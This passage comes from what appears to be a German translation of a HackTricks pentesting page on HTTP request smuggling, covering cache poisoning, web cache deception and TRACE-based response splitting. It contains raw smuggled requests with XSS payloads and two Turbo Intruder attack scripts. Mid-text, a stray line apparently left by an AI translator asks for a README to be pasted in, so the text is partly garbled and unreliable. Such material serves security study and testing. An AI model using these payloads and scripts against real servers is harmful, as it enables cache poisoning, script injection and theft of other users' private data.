Content-Length: 10
x=1
Beachte die eingebettete Anfrage, die auf /post/next?postId=3
zielt. Diese Anfrage wird auf /post?postId=4
umgeleitet, wobei der Host header value zur Bestimmung der Domain verwendet wird. Durch Ändern des Host header kann der Angreifer die Anfrage auf seine Domain umleiten (on-site redirect to open redirect).
Nach erfolgreichem socket poisoning sollte eine GET request für /static/include.js
gestartet werden. Diese Anfrage wird durch die vorherige on-site redirect to open redirect-Anfrage kontaminiert und ruft den Inhalt des vom Angreifer kontrollierten Skripts ab.
Anschließend wird jede Anfrage für /static/include.js
den zwischengespeicherten Inhalt des Skripts des Angreifers ausliefern und damit effektiv einen weitreichenden XSS-Angriff starten.
Using HTTP request smuggling to perform web cache deception
Was ist der Unterschied zwischen web cache poisoning und web cache deception?
- In web cache poisoning, der Angreifer bewirkt, dass die Anwendung schädliche Inhalte im Cache speichert, und diese Inhalte werden aus dem Cache an andere Anwender der Anwendung ausgeliefert.
- In web cache deception, der Angreifer bewirkt, dass die Anwendung sensible Inhalte eines anderen Benutzers im Cache speichert, und der Angreifer ruft diese Inhalte anschließend aus dem Cache ab.
Der Angreifer erstellt eine smuggled request, die sensible, benutzerspezifische Inhalte abruft. Betrachte das folgende Beispiel:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Wenn diese eingeschmuggelte Anfrage einen für statische Inhalte gedachten Cache-Eintrag (z. B. /someimage.png
) vergiftet, könnten die sensiblen Daten des Opfers von /private/messages
unter dem Cache-Eintrag der statischen Inhalte gespeichert werden. Folglich könnte der Angreifer möglicherweise auf diese zwischengespeicherten sensiblen Daten zugreifen.
Missbrauch von TRACE mittels HTTP Request Smuggling
In this post wird vorgeschlagen, dass, wenn der Server die Methode TRACE aktiviert hat, es möglich sein könnte, diese mit HTTP Request Smuggling auszunutzen. Dies liegt daran, dass diese Methode jeden an den Server gesendeten Header als Teil des Antwortkörpers reflektiert. Zum Beispiel:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Bitte füge den Inhalt von src/pentesting-web/http-request-smuggling/README.md hier ein; ich übersetze den relevanten englischen Text ins Deutsche und lasse Code, Techniknamen, Tags, Links und Pfade unverändert.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zuerst eine HEAD request zu smuggle. Auf diese Anfrage wird nur mit den headers einer GET request geantwortet (darunter Content-Type
). Und smuggle sofort nach dem HEAD eine TRACE request, die die gesendeten Daten reflektiert.
Da die HEAD response einen Content-Length
-Header enthält, wird die Antwort der TRACE request als Body der HEAD response behandelt und spiegelt daher beliebige Daten in der Antwort wider.
Diese Antwort wird an die nächste request über die Verbindung gesendet, sodass dies z. B. in einer gecachten JS-Datei verwendet werden könnte, um beliebigen JS-Code zu injizieren.
Missbrauch von TRACE mittels HTTP Response Splitting
Es wird empfohlen, weiterhin this post zu lesen; dort wird eine andere Möglichkeit beschrieben, die TRACE-Methode zu missbrauchen. Wie bereits erwähnt, ermöglicht das smuggling einer HEAD request und einer TRACE request, einige reflektierte Daten in der Antwort auf die HEAD request zu kontrollieren. Die Länge des Bodys der HEAD request wird im Wesentlichen im Content-Length
-Header angegeben und besteht aus der Antwort auf die TRACE request.
Daraus ergibt sich die Idee, dass man, wenn man diese Content-Length
und die in der TRACE-Antwort gelieferten Daten kennt, die TRACE-Antwort so gestalten kann, dass sie nach dem letzten Byte der Content-Length eine gültige HTTP-Antwort enthält. Dadurch kann ein Angreifer die Anfrage für die nächste Antwort vollständig kontrollieren (was zur Durchführung eines cache poisoning verwendet werden könnte).
Example:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Erzeugt diese responses (achte darauf, wie die HEAD response eine Content-Length hat, wodurch die TRACE response Teil des HEAD body wird und sobald die HEAD Content-Length endet, eine gültige HTTP response geschmuggelt wird):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Einsatz von HTTP Request Smuggling mit HTTP Response Desynchronisation
Hast du eine HTTP Request Smuggling-Schwachstelle gefunden und weißt nicht, wie du sie ausnutzen kannst? Probiere diese anderen Methoden der Ausnutzung:
HTTP Response Smuggling / Desync
Weitere HTTP Request Smuggling-Techniken
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder Skripte
CL.TE
Von https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Von: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Werkzeuge
- HTTP Hacker (Burp BApp Store) – visualisiert Verkettung/Framing und niedrigstufiges HTTP‑Verhalten
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Dieses Tool ist ein grammar-basierter HTTP Fuzzer, nützlich, um ungewöhnliche request smuggling‑Abweichungen zu finden.
Referenzen
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Vorsicht vor false false‑positives: wie man HTTP pipelining von request smuggling unterscheidet – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.